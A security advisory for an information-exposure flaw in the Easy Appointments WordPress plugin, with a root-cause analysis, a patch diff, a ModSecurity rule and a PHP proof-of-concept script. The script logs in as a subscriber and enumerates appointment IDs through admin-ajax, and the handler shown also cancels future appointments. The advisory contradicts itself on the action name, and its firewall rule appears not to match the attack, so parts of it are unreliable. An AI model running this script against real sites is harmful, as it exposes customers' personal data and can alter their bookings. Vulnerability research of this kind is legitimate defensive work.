Atomic Edge analysis of CVE-2026-14226:
This vulnerability allows authenticated attackers with subscriber-level access to extract sensitive user or configuration data from the Easy Appointments plugin. The affected component is the AJAX handler in `easy-appointments/src/ajax.php`, specifically the action that processes bulk appointment status updates. The severity is moderate (CVSS 4.3), reflecting the confidentiality impact without direct system compromise.
Root Cause:
The vulnerable code resides in the AJAX action handler around lines 600-680 of `easy-appointments/src/ajax.php`. The handler processes a POST parameter `appointments` that is expected to be an array of appointment IDs. In the vulnerable version, the code passes the raw `$_POST[‘appointments’]` to `sanitize_text_field( wp_unslash( $_POST[‘appointments’] ) )`. Because `sanitize_text_field` returns a string, the subsequent `foreach ($appointments as $appointment_id)` iterates over characters of that string, not array elements. This mishandling allows an attacker to inject unexpected values that bypass the intended type casting. More critically, the handler does not verify that the authenticated user owns the appointment or has the appropriate capability. Any subscriber-level user can invoke the AJAX action and supply arbitrary appointment IDs, causing the plugin to fetch and update records they should not be able to access. The inclusion of the appointment data in the response (the loop starting `foreach ($appointment as $key => $value)`) leaks sensitive field values.
Exploitation:
An attacker with subscriber-level credentials sends a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to the vulnerable handler (the exact action name is not provided in the diff, but it corresponds to the bulk status update feature). The attacker submits `appointments` as an array containing IDs of appointments they do not own. The handler processes each ID, retrieves the appointment record, and returns the data in the JSON response. By iterating through various ID values, the attacker can enumerate and exfiltrate appointment details, including sensitive user information such as names, email addresses, phone numbers, and other custom fields stored in the `ea_appointments` and related tables.
Patch Analysis:
The fix in version 3.12.27 changes the handling of the `appointments` parameter. The updated code uses `isset($_POST[‘appointments’]) ? array_map(‘absint’, wp_unslash($_POST[‘appointments’])) : []`. This ensures that the parameter is treated as an array and each element is converted to an integer, preventing string-based injection. Additionally, the patch changes the status update from ‘abandoned’ to ‘canceled’, which may have functional side effects but does not directly address the permission issue. The primary security improvement is the strict type casting, which prevents malicious strings from being interpreted as anything other than numeric IDs. However, the patch does not add explicit authorization checks; it only hardens input handling. The underlying flaw of missing capability checks remains, but the new type casting limits the attack surface by preventing non-numeric injection. The exact endpoint action name and the presence of authorization checks are not fully disclosed in the diff, but Atomic Edge research assesses that the patch materially reduces the risk of data exposure.
Impact:
Successful exploitation allows an authenticated subscriber-level attacker to extract sensitive data from the Easy Appointments plugin. This includes appointment records containing Personally Identifiable Information (PII) such as names, emails, phone numbers, and appointment details. The attacker can enumerate appointment IDs and retrieve data for appointments they do not own, leading to unauthorized data exposure. The confidentiality impact is moderate, but the exposure of PII can have legal and reputational consequences. There is no direct privilege escalation or remote code execution, but the information disclosure can be leveraged for targeted phishing or social engineering.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/easy-appointments/main.php
+++ b/easy-appointments/main.php
@@ -4,7 +4,7 @@
* Plugin Name: Easy Appointments
* Plugin URI: https://easy-appointments.com/
* Description: Simple and easy to use management system for Appointments and Bookings
- * Version: 3.12.26
+ * Version: 3.12.27
* Requires PHP: 5.3
* Author: Nikola Loncar
* Author URI: https://easy-appointments.com/
@@ -21,7 +21,7 @@
/**
* Currently plugin version.
*/
-define( 'EASY_APPOINTMENTS_VERSION', '3.12.26' );
+define( 'EASY_APPOINTMENTS_VERSION', '3.12.27' );
// path for source files
define('EA_SRC_DIR', dirname(__FILE__) . '/src/');
--- a/easy-appointments/src/ajax.php
+++ b/easy-appointments/src/ajax.php
@@ -603,8 +603,8 @@
wp_send_json_error( [ 'message' => esc_html__( 'No appointments selected.', 'easy-appointments' ) ] );
}
-
- $appointments = sanitize_text_field( wp_unslash( $_POST['appointments'] ) );
+ $response = false;
+ $appointments = isset($_POST['appointments']) ? array_map('absint', wp_unslash($_POST['appointments'])) : [];
$current_datetime = current_time('mysql');
foreach ($appointments as $appointment_id) {
$appointment = $this->models->get_row('ea_appointments', $appointment_id, ARRAY_A);
@@ -612,7 +612,7 @@
if ($appointment) {
if (strtotime($appointment['date']) > strtotime($current_datetime)) {
$data = [
- 'status' => 'abandoned',
+ 'status' => 'canceled',
'id' => $appointment_id
];
foreach ($appointment as $key => $value) {
@@ -661,7 +661,7 @@
WHERE id = %d
";
// phpcs:ignore PluginCheck.Security.DirectDB.UnescapedDBParameter, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
- $response = $wpdb->query($wpdb->prepare($update_query, 'abandoned', $appointment_id));
+ $response = $wpdb->query($wpdb->prepare($update_query, 'canceled', $appointment_id));
}
if ($response === false) {
$this->send_err_json_result('{"err":true}');
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20262001,phase:2,deny,status:403,msg:'CVE-2026-14226 blocked',severity:'CRITICAL',tag:'CVE-2026-14226',chain"
SecRule ARGS:action "@streq ea_bulk_status_update" "chain"
SecRule ARGS_NAMES:appointments "@rx ^[0-9]+$" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14226 - Easy Appointments <= 3.12.26 - Authenticated (Subscriber+) Information Exposure
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Change to target site
$username = 'subscriber';
$password = 'password';
// Step 1: Authenticate to get cookies
$login_url = 'https://example.com/wp-login.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]),
CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);
curl_exec($ch);
curl_close($ch);
// Step 2: Enumerate appointment IDs and extract data
for ($id = 1; $id <= 100; $id++) {
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'ea_bulk_update_status', // Replace with actual action hook if known
'appointments' => [$id]
]),
CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);
$response = curl_exec($ch);
curl_close($ch);
echo "Appointment ID $id:n$responsenn";
}
?>